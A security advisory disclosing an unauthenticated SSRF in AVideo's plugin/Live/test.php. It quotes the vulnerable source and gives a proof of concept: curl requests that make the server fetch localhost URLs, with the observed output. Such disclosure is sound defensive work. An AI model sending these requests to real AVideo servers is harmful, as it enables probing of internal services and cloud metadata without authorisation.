AVideo has Unauthenticated SSRF via plugin/Live/test.php

Summary

An unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.

Details

The endpoint accepts $_REQUEST['statsURL'] and only checks that it starts with http:

$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    exit;
}

It then calls:

$result = url_get_contents($statsURL, 2);

Inside the same file, url_get_contents() performs a real outbound request with file_get_contents() when allow_url_fopen is enabled:

$tmp = file_get_contents($url, false, $context);
_log('file_get_contents:: '.htmlentities($tmp));

There is:

• no authentication check
• no allowlist of trusted stats URLs
• no SSRF-safe URL validation
• reflected response/error output

Validated on source:

• test.php

PoC

Target used during validation:

http://127.0.0.1:80

1. Probe a closed localhost port:

curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'

Observed response excerpt:

Starting try to get URL http://127.0.0.1:1/
url_get_contents start timeout=2
Warning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused
file_get_contents fail return an empty content
FAIL

2. Probe the local web service itself:

curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'

This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.

Impact

This is an unauthenticated SSRF vulnerability affecting any deployment that exposes plugin/Live/test.php.